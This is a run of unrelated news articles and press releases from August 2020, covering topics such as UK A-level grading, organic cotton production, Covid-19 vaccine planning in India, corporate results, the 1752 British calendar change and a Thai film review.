admissions at the University of Bath, told Times Higher Education magazine that universities could have less wiggle room this year to admit students who see their predicted A-level results downgraded and who miss out on places. Layla Moran, the Liberal Democrat education spokesperson, said young people should not be penalised by inaccurate grades. This study proves that algorithms are not a fair alternative to the examination process, she said. Every individual should get the best start in life, whoever they are, whatever their background. These predicted grades will have a lasting consequence on a young persons choices that is why its crucial the secretary of state steps in to ensure that no one is disadvantaged by the pandemic or by their gender, ethnicity or socioeconomic status. Kate Green, Labours shadow education secretary said: The government was warned weeks ago about the lack of proper process to address the potential unequal impact on children from different backgrounds of this years grades but they were too slow to react. Its not good enough for the prime minister to simply say he recognises the concern. Ministers must give a cast iron guarantee that the process will be fair and transparent. Share this article Whatsapp Facebook Twitter Linkedin News Desk (The Straits Times/Asia News Network) Johor Baru, Malaysia Tue, August 11, 2020 13:15 526 6657ac82168da9fa101c8a4066d16e2b 2 SE Asia Johor,exotic-animals,wildlife,meat-consumption Free Action must be taken against all restaurants serving exotic meat dishes, says Johor Ruler Sultan Ibrahim Ibni Almarhum Sultan Iskandar as reported by The Star. The titular head of Malaysia's southern state issued a warning to all restaurants to immediately cease selling wild game as exotic delicacies. "You will face the full brunt of the law if you are caught, " he warned in a statement posted on his official Facebook page. His warning followed the arrest of several suspects by police and the seizure of wild animal meat in several districts in the state. Sultan Ibrahim also released pictures of wild animals killed by the culprits and ordered the police and Department of Wildlife and National Parks (Perhilitan) to launch an immediate investigation into the matter. The ruler said that poaching was rampant in districts in Johor such as Kahang, Endau-Rompin and Mersing. "The enforcement agencies will now not only focus on poachers but also those trading in exotic animals, including restaurants serving them as dishes in restaurants. "This is my last warning; stop this immediately or you will face the brunt of the law, " he said. Organic farming is a way of living in harmony with the land and is a way to honor life life in the soil for the farm, for the family, for the community, and ultimately for the world. Textile Exchange releases its 2020 Organic Cotton Market Report, the only report of its kind to cover production trends across the global organic cotton market. The report reveals data collected for the 2018/19 harvest year and shows an increase of 31 percent in organic cotton production over the previous year, making it the second-largest harvest on record after 2009/10. In addition to data per region, the report includes insights from industry professionals about their current projects, challenges, successes, goals, and visions for the organic cotton sector, with a particular focus this year on impacts of, and responses to, the dual threat of COVID-19 and climate change. In short, the results show that 222,134 farmers grew 239,787 metric tons of organic cotton in 19 countries on 418,935 hectares. In addition, 55,833 hectares of cotton-growing land were in-conversion to organic, helping to meet the increasing demand. 2018/19 Organic cotton production snapshot: While this report celebrates growth in global organic cotton production and the important contributions this makes to the health of people, the environment, and farming communities around the world, Textile Exchange is highly conscious of the turmoil the world is in right now. From the Coronavirus pandemic to reports of egregious human rights abuses within the textile industry and our communities we are not short of reasons to support farming and processing systems that protect the health of people and the planet. La Rhea Pepper, Managing Director for Textile Exchange and life-long organic cotton farmer, said, Organic farming is a way of living in harmony with the land and is a way to honor life life in the soil for the farm, for the family, for the community, and ultimately for the world. In times like the COVID-19 pandemic, we are reminded just how connected we are to each other - we are an ecosystem, and what we do impacts the whole. Textile Exchange works to accelerate environmentally sustainable practices in the textile value chain, which has positive impacts on climate and goes hand-in-hand with social responsibility expectations to ensure that the rights of all people are respected. We applaud the growers and companies that make long-term investments in and prioritize the transparency of commitments to their products with globally recognized, credible, third-party standards. The growth of such standards was also reported alongside the production increase for 2018/19. Facilities certified to leading voluntary organic textile standards saw significant growth. Facilities certified to the Organic Content Standard (OCS) grew by 48 percent, and the Global Organic Textile Standard (GOTS) grew by 35 percent. To create a complete picture of global organic cotton supply, the 2020 Organic Cotton Market Report shares production data from all regions known to be growing certified organic cotton around the world, totaling 19 countries. According to report findings, 97 percent of global organic cotton is produced in seven countries: India (51 percent), China (17 percent), Kyrgyzstan (10 percent), Turkey (10 percent), Tajikistan (5 percent), Tanzania (2 percent), and the USA (2 percent). Of the 55,833 hectares of land in-conversion to organic, India and Pakistan lead the way, followed by Turkey, Greece, and Tajikistan. Looking to the future, pre-COVID estimates show that organic cotton production will grow by a further 10 percent in 2019/20. The next few months will no-doubt unveil challenges that businesses are enduring, and it will be no different for cotton farmers as the unpredictability will impact the next growing cycle. The future will require increased transparency and sharing of the risks and rewards as we collectively aspire to Climate Action as well as the other 16 U.N. Sustainable Development Goals. Communication, trust, and commitment will be essential. Textile Exchange is here to support. Contact us at Materials@TextileExchange.org and join our upcoming webinar on September 15 that will review key insights from the report and allow participants to ask questions. ### About Textile Exchange Textile Exchange is a global nonprofit that creates leaders in the sustainable fiber and materials industry. The organization develops, manages, and promotes a suite of leading industry standards as well as collects and publishes vital industry data and insights that enable brands and retailers to measure, manage, and track their use of preferred fiber and materials. With a membership that represents leading brands, retailers, and suppliers, Textile Exchange has, for years, been positively impacting climate through accelerating the use of preferred fibers across the global textile industry and is now making it an imperative goal through its 2030 Strategy: Climate+. Under the Climate+ strategic direction, Textile Exchange will be the driving force for urgent climate action with a goal of 35-45% reduced CO2 emissions from textile fiber and material production by 2030. To learn more about Textile Exchange, visit TextileExchange.org. Follow us on Twitter at @TextileExchange. Swara Bhasker has come out in support of Rhea Chakraborty, who has been accused by late actor Sushant Singh Rajput's father of abetting his son's suicide. Swara has said that Rhea is being subjected to "a bizarre" media trial. Rhea on Monday submitted in an additional affidavit filed in the Supreme court against "unfair media trial" in the Sushant Singh Rajput case. She also said the "constant sensationalisation" was causing extreme trauma and infringement of privacy of her rights. Reacting to the news, Swara tweeted, "Rhea is being subjected to a bizarre & dangerous media trial fuelled by hugely problematic impulses of mob justice. I hope the Honble #SupremeCourt will pay heed & take fake news spinners & conspiracy theorists & others to task. Let the law decide." Meanwhile, the submission by Rhea in a 12-page affidavit came a day ahead of the next hearing of her plea for the transfer of the Bihar police FIR against her from Patna to Mumbai. The CBI has since taken over the probe after the Centre gave its approval following a recommendation by the Bihar government. It has re-registered the Bihar police's First Information Report(FIR) of alleged criminal conspiracy and abetment to suicide against Chakraborty, who was Rajputs girlfriend. Others named in the FIR are Rhea's brother Showik Chakraborty, father Indrajit Chakraborty, mother Sandhya Chakraborty, Rajput's house manager Samuel Miranda and Shruti Modi, the business manager of Rhea and Rajput. The FIR was based on the complaint of Rajputs 77-year-old father Krishna Kishore Singh, a resident of Patna. The expert committee on vaccine administration, chaired by NITI Aayogs Dr VK Paul, will meet on Wednesday to consider logistics and ethical aspects of procurement and administration of vaccines against the coronavirus disease (Covid-19), which has affected more than 2.2 million people and killed over 44,000 in the country, the Union health ministry said on Tuesday. The committee will engage with stakeholders including state governments and vaccine manufacturers, the health ministry added. The government had formed the expert committee comprising representatives from all relevant ministries and institutions to oversee all aspects of its Covid-19 vaccine plan. It has been tasked with the identification of the vaccine to buying to financing the purchase to distribution and administration. The panel will pick the vaccine or vaccines that India can use, plan the finances for what is sure to be an expensive purchase running into billions of dollars, and prioritise the sequence of administration. The high-level panel, formed by the cabinet secretary last Friday, includes AIIMS director Dr Randeep Guleria, representatives of the ministries of external affairs, biotechnology, information technology, the director general of health services, Indias Aids Research Institute, the Indian Council of Medical Research (ICMR), and also representatives from states. India registered 62,064 new Covid-19 cases and 1,007 deaths, pushing the tally to 2,215,075, according to the Union health ministry on Monday. There are 634,945 active cases and 44,386 people have died of the viral disease so far, the health ministry said. NOT FOR DISSEMINATION IN THE UNITED STATES OR FOR DISTRIBUTION TO U.S. WIRE SERVICES VANCOUVER, British Columbia, Aug. 10, 2020 (GLOBE NEWSWIRE) -- Thor Explorations Ltd. (TSX VENTURE: THX) (Thor or the Company) is pleased to announce that concrete has been poured on the Segilola process plant site, construction and procurement are progressing on schedule and on budget with first gold pour expected in Q2 2021. Highlights: First concrete has been poured at the process plant Water Storage Facility is at final height and is starting to fill Detailed design 80% complete Main Camp buildings are at roof level Procurement 60% complete, with SAG and Ball mills scheduled for delivery in early 2021 Over 200 members of the local communities have been employed by the project No Lost Time Injuries to date COVID -19 monitoring and mitigation measures continue at site Segun Lawson, President & CEO, stated: Our construction team and EPC contractor, Norinco International Cooperation Limited, are continuing to deliver on our targets in a challenging operating environment due to the COVID-19 pandemic. I cannot speak highly enough of the professionalism being displayed day in and day out by our workforce and contractors. Figure 1 is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/bcfe67e6-d1db-4b26-b21c-ab1ed7f13110 Construction Update The first concrete has been poured by Norinco International Ltd (Norinco), the LSTK EPC Contractor, for the foundations for the plant at Segilola and the CIP tank foundation pouring is in process. Figure 2 is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/92b9df41-d259-4d9a-9506-dd9ff205e79a The Water Storage Facility has been constructed to final height and the spillway construction is progressing. The facility is filling well and is expected to reach full capacity before the end of the year. Figure 3 is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/f1429db9-ad1b-49b5-a562-0ae351ae7ece Construction at the main camp is continuing with the main buildings at roof level. Handover of the administration, technical services, dining facilities, clinic and recreational facilities is expected in Q4 2020. Figure 4 is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/9f6c452c-b02d-425f-bb0b-8578c0d355b1 Procurement is 60% complete, with vendors re-confirming delivery times. The first shipment of materials recently arriving at Lagos port. Long lead items are scheduled to arrive on site in Q4 2020 and Q1 2021. Local employment is a key aspect of the Companys development approach and during this initial period over 360 jobs have been created, with 92% being Nigerian nationals and approximately 56% being from the local communities. The Company has a strong and proactive approach to health and safety and to date the Project completed over 220,000 man hours with no lost time injuries. COVID-19 As the COVID-19 (Coronavirus) pandemic continues to have a global effect, the health and safety of our employees, communities and contractors are our utmost priority. The Company is taking steps and precautions to address the effects of the pandemic responsibly and to limit potential exposure to the rapidly changing situation. Measures have been put in place to monitor and mitigate against the spread of COVID -19 which includes testing, monitoring, and all-round practices of cleanliness and washing to ensure any instances of COVID-19 are instantly monitored and identified. A handbook has been provided for all personnel and both HSE teams from Thor and Norinco continue to report on this on a daily basis following constant monitoring. All government and regulatory rules are also adhered to. Exploration Both the contracted RC and diamond rigs have arrived on site and exploration drilling has commenced in parallel with construction. Both rigs will be running concurrently and will be targeting the down dip extension of the Segilola Deposit and satellite targets identified within the licence. The first drilling results are expected in mid-September. Qualified Person The above information has been prepared under the supervision of Alfred Gillman (Fellow AusIMM, CP), who is designated as a qualified person under National Instrument 43-101 and has reviewed and approves the content of this news release. He has also reviewed QA/QC, sampling, analytical and test data underlying the information. Further details can be found on the Companys website: www.thorexpl.com About Thor Thor Explorations Ltd. is a Canadian mineral exploration company engaged in the acquisition, exploration and development of mineral properties located in Nigeria, Senegal and Burkina Faso. Thor holds a 100% interest in the Segilola Gold Project located in Osun State of Nigeria and a 70% interest in the Douta Gold Project located in south-eastern Senegal. Thor also holds a 49% interest in the Bongui and Legue gold permits located in Hounde greenstone belt, south west Burkina Faso. Thor trades on the TSX Venture Exchange under the symbol THX. THOR EXPLORATIONS LTD. Segun Lawson President & CEO Neither TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. This press release does not constitute an offer to purchase securities. The securities to be offered in the offering have not been and will not be registered under the United States Securities Act of 1933, as amended, or any state securities laws and may not be offered or sold in the United States or to, or for the benefit or account of, a U.S. person, except pursuant to an available exemption from such registration requirements. Cautionary Note Regarding Forward-Looking Statements Except for the statements of historical fact contained herein, the information presented constitutes forward looking statements within the meaning of certain securities laws, and is subject to important risks, uncertainties and assumptions that could cause the actual results of the Company to differ materially from the forward-looking statements. Such forward-looking statements, including but not limited to, the Companys ability to fully finance the Project, to bring the Project into operation or to produce gold from the Project, and the use of the proceeds. The words may, could, should, would, suspect, outlook, believe, anticipate, estimate, expect, intend, plan, target and similar words and expressions are used to identify forward-looking information. The forward-looking information in this news release describes the Companys expectations as of the date of this news release and accordingly, is subject to change after such date. Readers should not place undue importance on forward-looking information and should not rely upon this information as of any other date. While the Company may elect to, it does not undertake to update this information at any particular time. Salesforce has donated a total of $18 million to support Bay Area schools in advance of the new school year, which begins this month. With the contribution, the company said it hopes to support teachers and help close the digital technology divide amid the pandemic. While parents and children are expected to embrace remote learning, many students dont own a computer or have internet access. Shutting down schools amid the COVID-19 pandemic has disproportionately impacted vulnerable populations. Nine million will support the San Francisco Unified School District, building on existing programs that aim to improve student outcomes and opportunities. Another $9 million will support middle school students and educators in the Oakland Unified School District, with unique support for Newcomers unaccompanied immigrant youth, refugees and asylum seekers. Support for schools from the tech giant isnt uncommon. Its the eighth year that the company will contribute to SFUSD and the fifth year donating to OUSD a total of $85.4 million going to San Francisco and Oakland public schools during that time. "Public schools are the backbone of our communities the heart and soul of our neighborhoods, Ebony Beckwith, Chief Philanthropy Officer for Salesforce, said in a statement. As we reimagine education for a post-COVID-19, learn-anywhere world, we are committed to helping our schools build an equitable future for every student." The company also announced an additional $2 million will be spread equally between Indianapolis Public Schools, Chicago Public Schools, the New York City Department of Education and the Courageous Conversation Global Foundation. Salesforce also announced this week a new program called Work.com for Schools to help schools make data-driven decisions on when and how to return to campus safely, facilitate communication between teachers and families at scale and support students remotely. Earlier this year, the company released Work.com to aid businesses and governments reopen safely. Last week, Twitter co-founder Evan Williams and his wife Sara donated $10 million to SFUSD through their charitable organization, the Someland Foundation. The donation is also being used to help narrow the digital divide, with an initial distribution of 15,000 digital devices and hotspots for students in pre-kindergarten to second grade. Of the SFUSD student population, 55% live at or below the poverty line. In Oakland, 50% of public school students lack internet access. Tessa McLean is a digital editor with SFGATE. Email her at tessa.mclean@sfgate.com or follow her on Twitter @mcleantessa. Do you know how many British people were born between September 3 and September 13 in the year 1752? None. Absolutely no one was born, nobody died, and no marriages took place during that period. No wars were fought, no bets were made, no trade deals were signed. As a matter of fact, these eleven days didnt even exist in the British calendar. People went to bed on the night of September 2, 1752, and woke up on September 14. The loss of eleven days was the expected consequence of changing calendars. Before September 2, 1752, Britain was using the Julian calendar, while most of its neighbors had already moved to the more accurate Gregorian calendar. Nearly seventy years after it was proposed, Britain found itself slowly falling out of sync with the rest of the world. To fix that, the parliament passed the Calendar (New Style) Act 1750. Calendar courtesy: timeanddate.com Whats wrong with the Julian calendar? The Julian calendar was proposed by Julius Caesar in 46 BC in order to fix the inherent errors of a lunisolar calendar, which the Roman calendar was. The Roman calendar consisted of 12 months for a total of 355 days, which is approximately 10 days shorter than the solar year. In order to catch up with the sun, the Roman calendar added either 22 or 23 days to every alternate year, the same way we add leap days every four years. As a result, Roman years alternated between 355, 377 and 378 days. To make matter worse, the leap days (also known as the intercalary period) were not added in a regular and systematic manner, but was determined by the Pontifex maximus, the high priest of the College of Pontiffs. Often the Pontifex would lengthen a year when his political allies was in office, and reduce it when his opponents were in power. The net effect of this was that the average Roman citizen often did not have a clue what date the current day was. The Roman Calendar With the intention of sorting out the mess, Caesar called the best philosophers and mathematicians in town and asked them to create a calendar that kept sync with the sun without human intervention. At that time, it was thought that a year lasted 365 days and 6 hours. So Caesars mathematicians called for a calendar 365 days long, with an additional day added every four years to makeup for the 6 lost hours every year. In reality, the earth takes 365 days, 5 hours, 48 minutes and 45 seconds to go around the sun once, so the Julian calendar was not exactly accurate. Over the centuries the errors accumulated, and the date slipped further and further away from the actual. The Gregorian Calendar In 1582, Pope Gregory XIII pushed for a calendar reform. The Pope was particularly unhappy that Easter was drifting away from the intended date. According to tradition, Easter should be celebrated on the first Sunday after full moon following the spring equinox. By the 16th century, the spring equinox was a full ten days behind. The wheels of change had started to turn nearly four decades earlier, in 1545, when the Council of Trent authorized Pope Paul III to reform the calendar, but it wasnt until 1577, when a Calabrian doctor named Aloysius Lilius set down the complicated rules that defined the leap year. The proposed calendar demanded that there can only be an extra day in years that are divisible by four, but not for years that are divisible by 100 unless it was also divisible by 400. For example, the years 1600 and 2000 are leap years, but 1700, 1800 and 1900 are not. One of the first printed editions of the Gregorian calendar. The calendar went into effect during Pope Gregory XIII, which is why its called the Gregorian calendar. The date for the change was fixed on 4 October 1582 (according to the Julian calendar). This was immediately followed by 15 October 1582a loss of ten days. Adoption Gregory's reform was enacted by a papal bull, but the bull had no authority beyond the Catholic Church and the Papal States. Protestant Churches, Eastern Orthodox Churches, Oriental Orthodox Churches, and a few others refused to accept it. Some Protestants feared the new calendar was part of a plot to return them to the Catholic fold. One of the first states to adopt the new calendar was Spain, which affected much of Roman Catholic Europe, as Philip II, the ruler of Spain, also ruled over Portugal and much of Italy. France, Poland, Luxemburg, the Kingdom of Bohemia and Prussia followed within the next 50 years. Britain held out for nearly 170 years. In 1750, Philip Stanhope, 4th Earl of Chesterfield, introduced the bill of calendar reform into the Parliament. It was passed the following year, becoming the Calendar (New Style) Act 1750. Adopting the Gregorian calendar meant that England had to advance their current calendar by 11 days. September 2, 1752, was followed by 14 September, 1752. The day, however, progressed naturally, from Wednesday (on September 2) to Thursday (on September 14). The calendar applied to all British colonies, including the United States, Canada, and Australia. Despite persisting rumors, there was very little backlash from the community. Life went on as usual. An Election Entertainment, painting by William Hogarth, ca. 1755. On the lower right, there is a black banner on the floor with the slogan "Give us our Eleven Days", which led to rumors that the adoption of the new calendar led to riots. Victoria's lockdown to prevent the spread of the coronavirus is dragging down the nation's jobs market and consumer spending, pushing back the national economic recovery from the pandemic recession. As consumer confidence slipped to its lowest level since Anzac Day, data from the Australian Bureau of Statistics and the major banks revealed the extent to which Victoria's COVID-19 outbreak is weighing on the rest of the country. Victoria's stage three restrictions started to affect the national jobs and retail markets in late July. Credit:Joe Armao The bureau on Tuesday reported payroll jobs nationally fell by 0.1 per cent in the fortnight between July 11 and 25. The period takes in the start of Victoria's stage three restrictions and the federal government's announcement it would extend, at a lower rate, its JobKeeper wage subsidy program. The national result was pulled down by Victoria, where payroll jobs fell by 1.2 per cent in the period. There were also falls in Western Australia (by 0.1 per cent) and the two territories. The Chiefs and People of Gbi Traditional Area (Hohoe) have heeped praises on President Nana Akufo-Addo describing him as a promise keeper. According to them, they have been recipients of many promises from successive government regarding the development of their traditional area, yet fulfillment of those promises have always eluded them. However, for the first time in a long time, they are witnessing unprecedented development in their area as promised by the President. They have therefore held a press conference in Hohoe to express their gratitude to President Akufo-Addo and urge him on to do more for them. Addressing the press conference on Tuesday, August 11, 2020, Togbe Adzimah V narrated that the President in February 2020 visited the area to commiserate with them over the ancestral journey of their Paramount Chief, Togbega Gabusu VI. On that day, the President lamented over his inability to fix the main Hohoe Trunk road and the Hohoe township roads, he promised Togbega Gabusu when he visited him early on. To this end, the President re-assured the Chiefs and people of Gbi and Hohoe Municipality that the roads will be fixed to honour the late Togbega Gabusu VI. True to his words, the main Hohoe trunk road and the township roads are currently being fixed with Asphalt, something the late Togbega Gabusu VI had always been craving till his demise. Togbe Adzimah V stressed that We believe with this, his soul would forever remain grateful for this great memorial honour. Failed Promises by Others Togbe Keh XII, Chief of Gbi Wegbe (Left Wing Chief) reiterated that We have been witnesses to series of promises made, not only from here (NPP Government), but also across (Other political groups) which has never been fulfilled. However, For once, if we are witnessing fulfillment of these promises. We have to acknowledge our gratitude for it, he stressed. Hohoe Municipality and Constituency has always been considered a central point and a commercial hub that links the Volta and Oti region. It is among the three most vibrant areas in the region and projected to be a growth pole should the Eastern Corridor road be completed. It houses the Bank of Ghana Office and the COCOBOD office that serves Oti and Volta. It also hosts the new Volta Regional Hospital and Second Campus of the University of Health and Allied Sciences (UHAS). It is also the hometown of the Energy Minister John Peter Amewu. However, the area had very poor roads and with only a handful being tarred. They also lacked alot of social amenities. The situation in Hohoe according to the Chiefs and community members have changed drastically since the governing New Patriotic Party (NPP) government took over three and half years ago. Some Projects Some of these Hohoe town road projects include, Picnic road, Vekusime road, Togbe Gborxo street, Kpeme roads, Bla roads, Hohoe Labato Junction, Hohoe-Fodome roads, River Dzandze Bridge among others. This is making Hohoe the envy of many constituencies in the region, as almost all their town and community roads including bridges have been done with street lights covering many of them. It is for this reason that the Chiefs have commended the President and the Energy Minister for their roles in ensuring the people have their share of the national cake. Togbe Keh said the commendation is not political but a fact that needed to be acknowledged because he who climbs a fruitful tree is worthy of support. Hence, they will not keep a blind eye. He said Should we say that another side will not be happy and so we should close our mouths? We should not recognize; we should not identify what is happening? No, I dont think it might pass the test of time. He added that anyone who believes that their commendation will not favour some political party or group, is not being honest because If that should be the mentality of any other person then it is rather unfortunate. Daily Guide HEFEI, Aug. 10 (Xinhua) -- A total of 238 construction personnel from China Energy Engineering Group have returned to Turkey to resume construction of the Hunutlu Thermal Power Plant in the country's southern province of Adana, sources with the company said Monday. The staff members from Anhui No.1 Electric Power Construction Co., Ltd. under China Energy Engineering Group departed the eastern Chinese province Anhui on Saturday and arrived in Turkey on Sunday. They had returned to China for the Chinese New Year, but were unable to go back to Turkey due to the COVID-19 outbreak, according to the company. The company arranged a special team to facilitate the return of its staff members as the construction project was affected due to the absence of the working staff. The team helped the construction personnel apply for visas, undergo nucleic acid tests and health checks, and equipped them with medical supplies. The power plant is a key project linking the China-proposed Belt and Road Initiative with Turkey's "Middle Corridor." Upon completion, the plant will have an installed capacity of 1,320 megawatts of electricity. Enditem Two Sydney men accused of laundering tens of millions of dollars for offshore Australian crime figures have been arrested after they attempted to move $1 million cash contained in cooler bags through a suburban "daigou" business. The Australian Federal Police believe the clients of the money laundering syndicate include several high-value targets of Australian law enforcement who are currently based overseas. In a major police sting, the AFP on Monday arrested 37-year-old Carlingford man Wuchen Wang as he delivered two cooler bags - containing $500,000 each - to a daigou business in the western Sydney suburb of Auburn. A 40-year-old man from Dundas Valley, Jiyuan Ma, was arrested as he left a pub in Ermington in Sydney's north-west. HONG KONG, CHINA / ACCESSWIRE / August 11, 2020 / The world's largest telecommunications infrastructure service provider China Tower Corporation Limited ("China Tower", or the "Company") (Stock Code: 0788.HK) is pleased to announce its interim results for the six months ended 30 June 2020. Performance Highlights RMB million Six months ended 30 June 2020 2019 Change Operating revenue 39,794 37,980 4.8% EBITDA 29,100 27,815 4.6% Profit attributable to the Company 2,978 2,548 16.9% Earnings per share (RMB) 0.0170 0.0145 17.2% Key operating data Number of tower sites (thousand) 2,015 1,954 3.1% Number of tower tenants (thousand) 3,124 2,931 6.6% Tower tenancy ratio (tower tenants / tower sites) 1.64 1.58 3.8% In the first half of 2020, we continued to focus on quality enhancements by increasing investment efficiency and optimizing cost management. This ensured that we maintained a stable growth in revenue while steadily improving our operating efficiency at the same time. We recorded an operating revenue of RMB39,794 million, up by 4.8% over the same period last year. Our EBITDA[1]reached RMB29,100 million, with the EBITDA margin[2] maintained at a high level of 73.1%. Profit attributable to owners of the Company reached RMB2,978 million, up by 16.9% over the same period last year. Our cash flow was sound and healthy, and we sustained a reasonable and controllable debt leveraging level. In the first half of 2020, our net cash generated from operating activities amounted to RMB27,083 million. Capital expenditure amounted to RMB14,302 million and our free cash flow[3] reached RMB12,781 million. As of 30 June 2020, the Company's total assets reached RMB335,429 million and interest-bearing liabilities amounted to RMB113,949 million with a gearing ratio[4]of 37.5%. In the first half of 2020, we promoted the resumption of work and service during the COVID-19 pandemic in an orderly manner, endeavoring to minimize the negative impact of the pandemic. Whilst fully adhering to the measures necessary for the prevention and control of the pandemic, we firmly upheld our "One Core and Two Wings" strategy and leveraged our advantages in resource sharing to bolster our core competencies. Building on the solid foundation of our telecommunications service provider ("TSP") business, we achieved rapid development and breakthroughs in our trans-sector site application and information ("TSSAI") business and energy operation business, contributing to the further optimization of our overall business structure.Tower tenancy ratio had increased from 1.62 at the end of 2019 to 1.64 at the end of June 2020, reflecting a continued improvement in the level of site co-location. Fully supporting the construction of 5G networks to maintain steady growth in our TSP business In the first half of 2020, given the scaling construction of 5G networks and the demand for in-depth 4G network coverage, we continued to promote resource sharing through full utilization of existing resources and stepping up our efforts to acquire more social resources. This would serve to increase our operational efficiency and create more collaborative value. During this period, 97% of 5G construction demand from TSPs was satisfied through the sharing of existing resources. Taking into account the new features of 5G infrastructure, we continued to proactively promote the implementation of our integrated wireless communications coverage solutions. By combining macro and small cells, as well as outdoor and indoor network, these solutions provided a more economic, flexible and diverse way to fulfil customers' needs for cost-effective and varied approaches in network coverage. As of the end of June 2020, the Company managed a total of 2,015 thousand tower sites, representing an increase of 21,000 compared to the end of 2019. The total number of TSP tenants increased by 61,000 to 3,124 thousand compared to the end of 2019. Additionally, the revenue of our tower business increased by 1.6% to RMB36,371 million over the same period in 2019. With regard to our Distributed Antenna System ("DAS") business, the Company fully leveraged its advantages in providing coordinated one-stop solutions. Considering a range of scenarios, we focused on customer demand and worked to create multiple and differentiated solutions that combine the active and passive DAS construction models. Our DAS revenue for the first half of 2020 increased by 37.2% year-on-year to RMB1,720 million. Keep focusing on key sectors to accelerate the growth of our Two Wings business The growth of our TSSAI business remained fast and healthy. We leveraged our advantages in tower site resources and expertise to capture new opportunities arising from the digitization and informatization of society. With our foci on "resource sharing" and "data information", we placed great emphasis on key sectors and customers and continued to innovate our products and enhance our platform's operational capabilities. In addition, we formed an initial standardized product portfolio in areas such as video surveillance, field supervision, edge access and data monitoring. This accelerated our transition from providing ordinary resource leasing to offering an integrated information service, enabling the rapid and high-quality development of our TSSAI business. From the end of 2019 to 30 June 2020, the total number of our TSSAI tenants increased by 13,000 to 189 thousand. In the first half of 2020, our revenue generated from TSSAI business was RMB1,264 million, up by 49.9% over the same period last year. We achieved effective breakthroughs in our energy operation business. Drawing from our experience in ensuring base-station power supply and operating traction batteries, we formulated plans to scale up our energy business for operations across society and established a new platform for energy sharing. Over the first half of 2020, we maintained a focus on our four core businesses of power backup, power generation, battery exchange and charging. While building on our previous pilot projects, we continued to optimize our product platform and grow our customer base. As of 30 June 2020, the cumulative number of power exchange service users had reached 153 thousand. This reflects how we have initially established a unified brand in the energy business with competitive edge, which set a good foundation for sustainable development in the future. Additionally, our energy business recorded a revenue of RMB315 million, representing an effective launch. Mr Tong Jilu, Chairman of China Tower said, "Looking to the future, given the ongoing implementation of China's 'Cyberpower' and 'new infrastructure'strategies, the construction and deployment of 5G networks will continue to accelerate. As a telecommunications infrastructure service provider, the Company is looking to capture new market development opportunities, continuously uphold its strategy of resource sharing and maintain high-quality growth. This will ensure the stable growth of its operating results and continue to increase the efficiency of development ultimately generating higher returns for its shareholders." ~ End ~ About China Tower: Since its incorporation on 15 July 2014, China Tower Corporation Limited ("China Tower") has developed into the world's largest telecommunications tower infrastructure service provider with compelling market advantage under the national strategy of Cyberpower. China Tower was listed on the Main Board of Hong Kong Stock Exchange on 8 August 2018 (Stock Code: 0788.HK), raising approximately HK$58.8 billion. The Company implements the strategy of "One Core and Two Wings". "One core" refers to the traditional tower business and indoor Distributed Antenna System (DAS) business, which provide services to the TSPs based on site resources; while "Two Wings" refers to the Trans-sector Site Application and Information (TSSAI) business which mainly provides tower site resources and data information services to different industries, as well as energy operation business to satisfy the growing demands on energy services in the society, such as power backup and generation, charging, battery exchange and echelon use of batteries. China Tower adheres to the "sharing" philosophy for business development. It promotes site co-location and provides a wide range of services to fulfil the specific needs of its customers. As of the end of June 2020, the Company's total assets amounted to RMB335,429 million. China Tower operated and managed 2,015 thousand tower sites across 31 provinces, municipalities and autonomous regions in the PRC, and served over 3,313 thousand tenants with the tenancy ratio of 1.64. Investor and Media Enquiries PRChina Limited Alice Yip / Jack Liu / Liting Chen T:(852) 2522 1838 / (852) 2522 1368 E:ayip@prchina.com.hk / zyliu@prchina.com.hk / lchen@prchina.com.hk Note 1: EBITDA is calculated by operating profit plus depreciation and amortization. Note 2: EBITDA margin is calculated by dividing EBITDA by operating revenue, and multiplying the resulting valueby 100%. Note 3: Free cash flow is the net cash generated from operating activities minus the capital expenditures. Note 4: Gearing ratio is calculated as net debt divided by the sum of total equity and net debt, then multiplied by100%. Net debt is calculated as the amount of interest-bearing liabilities minus the amount of cash and cash equivalents. SOURCE: China Tower Corporation Limited View source version on accesswire.com:https://www.accesswire.com/601131/Further-Resource-Sharing-to-Bolster-Core-Competencies-China-Towers-Profit-Attributable-to-the-Company-Increased-by-169 Ashok Gehlot and Sachin Pilot Jaipur: Rajasthan Chief Minister Ashok Gehlot on Tuesday said it was his responsibility to address the grievances of MLAs. Ashok Gehlot Advertisement But why did the MLAs go and what promises were made to them, only they know it, Gehlot said. "If any MLA is annoyed with me, then it is my responsibility to address that. I have kept doing this in the past and will do this now also," Gehlot said. Rahul Gandhi and Sachin Pilot Advertisement Gehlot's announcement comes after rebel Congress leader Sachin Pilots meeting with Rahul Gandhi on Monday night that signalled an "amicable resolution" of nearly a month-long political crisis in the state. Pilot revolted against Gehlot a month ago and told reporters on Monday that he and the other MLAs had raised organisational issues; the case of sedition filed by the SOG and the style of governance in the state, and expressed the hope that these will be addressed soon. In one telling moment, Minnie prepares an ethnic Malay, or Melayu, breakfast for the owner of the restaurant where she works. Right when he sits down, with neither whiff nor taste, he spits out his verdict: This food is bad! Thats one of many scenes in Rak Na, Soup Soup (Love Na, Soup Soup), in theaters now, in which men punch down on the female lead. It happens a lot in a film with much riding on its tactful representation of the only Muslim leading lady in recent memory to hit theaters nationwide rather than be relegated to film festival obscurity. Thats why Id like to not be too hasty in slapping the kick-me sign of misogyny on the back of Soup Soup at least not until after we talk about it. For despite its shortcomings, the film succeeds in breaking a long-held and harmful mold of Muslim-Thai representation. Director Kriangkrai Monwichit said in an interview that his goal was to give people a taste of southern Thai, specifically Melayu, culture through its cuisine. Did he succeed? If we take a look at the story in a social vacuum, then sure. Soup Soup, at its heart, is a romantic comedy about a woman named Minnie (Sasanee Weerachat) who dreams of being a chef, just like her great-grandfather back in the days of the Pattani Sultanate. She invokes her lineage to win a restaurant trainee gig. When a sanitation mishap costs the restaurant its Muslim star (like Michelin but Muslim), the blame, perhaps unfairly, falls on her. That sets Minnie on the path of (re)discovering the recipe of her renowned lineal dish to restore the restaurants honor. If the goal was to strut a bit of Thai-Muslim culture through its food, we could call it a success. But it would naively ignore all the real-world political contexts ensnaring the film and make for a very short analysis. Lets unpack all this. Sasanee Weecharat at the premiere of Rak Na, Soup Soup.Photo: M Pictures First, lets acknowledge the elephant in the room: the films jarring edits, awkward tonal shifts such as a sudden Scooby 